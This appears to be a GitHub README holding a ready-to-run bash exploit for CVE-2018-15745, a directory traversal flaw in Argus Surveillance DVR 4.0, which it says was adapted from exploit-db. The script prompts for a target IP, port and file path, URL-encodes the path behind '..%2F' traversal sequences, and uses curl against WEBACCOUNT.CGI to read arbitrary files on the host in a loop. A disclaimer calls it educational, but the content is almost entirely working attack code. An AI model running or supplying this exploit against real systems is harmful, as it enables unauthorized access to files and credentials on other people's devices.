README.md
Rendering markdown...
#!/usr/bin/bash
#Argus Surveillance DVR 4.0.0.0 - Directory Traversal Exploit
#Exploit Taken from here: https://www.exploit-db.com/exploits/45296
#Works for DVR 4.0 on Windows OS
#CVE:2018-15745
### Disclaimer
#This project is intended for **educational and research purposes only**.
#Use of this code for attacking targets without prior mutual consent is **illegal**.
#The author(s) assume **no responsibility** for any misuse or damage caused by this code.
#You are solely responsible for your actions.
#Always get proper authorization before conducting any security testing.
#Usage: chmod +x exploit.sh
# ./exploit.sh
echo -e "
▄▖ ▄▖ ▘▜ ▜ ▄ ▖▖▄▖▖▖
▌▌▛▘▛▌▌▌▛▘ ▚ ▌▌▛▘▌▌█▌▌▐ ▐ ▀▌▛▌▛▘█▌ ▌▌▌▌▙▘▙▌
▛▌▌ ▙▌▙▌▄▌ ▄▌▙▌▌ ▚▘▙▖▌▐▖▐▖█▌▌▌▙▖▙▖ ▙▘▚▘▌▌ ▌
▄▌
"
echo "Enter Target-Host IP Address"
read IP
echo "Enter Target-Host Port: "
read PORT
echo "Enter the Directory (e.g. C:\Windows\system.ini): "
read -r DIRECTORY
while [[ ! -z "${DIRECTORY}" ]]; do
#Cutting the first 3 characters from the DIRECTORY string
DIRECTORY="${DIRECTORY:3}"
#Transforming \ character to / character
DIRECTORY="${DIRECTORY//\\//}"
#Took from Google Generative AI
ENCODED_DIRECTORY=""
for (( i = 0; i < ${#DIRECTORY}; i++ )); do
char="${DIRECTORY:$i:1}"
case "$char" in
[a-zA-Z0-9._-]) encoded_char="$char" ;;
" ") encoded_char="%20" ;;
"!") encoded_char="%21" ;;
'"') encoded_char="%22" ;;
"#") encoded_char="%23" ;;
"$") encoded_char="%24" ;;
"%") encoded_char="%25" ;;
"&") encoded_char="%26" ;;
"'") encoded_char="%27" ;;
"(") encoded_char="%28" ;;
")") encoded_char="%29" ;;
"*") encoded_char="%2A" ;;
"+") encoded_char="%2B" ;;
",") encoded_char="%2C" ;;
"-") encoded_char="%2D" ;;
".") encoded_char="%2E" ;;
"/") encoded_char="%2F" ;;
":") encoded_char="%3A" ;;
";") encoded_char="%3B" ;;
"<") encoded_char="%3C" ;;
"=") encoded_char="%3D" ;;
">") encoded_char="%3E" ;;
"?") encoded_char="%3F" ;;
"@") encoded_char="%40" ;;
"[") encoded_char="%5B" ;;
"\\") encoded_char="%5C" ;;
"]") encoded_char="%5D" ;;
"^") encoded_char="%5E" ;;
"_") encoded_char="%5F" ;;
"\`") encoded_char="%60" ;;
"{") encoded_char="%7B" ;;
"|") encoded_char="%7C" ;;
"}") encoded_char="%7D" ;;
"~") encoded_char="%7E" ;;
*)
printf -v encoded_char '%%%02X' "'$char"
esac
ENCODED_DIRECTORY+="$encoded_char"
done
#Going to C:\ Directory by moving to uppers folders
ESCAPE="..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F"
#Combining the ESCAPE string with the ENCODED_DIRECTORY string
ENCODED_DIRECTORY="${ESCAPE}${ENCODED_DIRECTORY}"
#Sending GET request
curl 'http://'"${IP}"':'"${PORT}"'/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE='"${ENCODED_DIRECTORY}"'&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD='
echo ""
echo "Enter the Directory (e.g. C:\Windows\system.ini): "
read -r DIRECTORY
done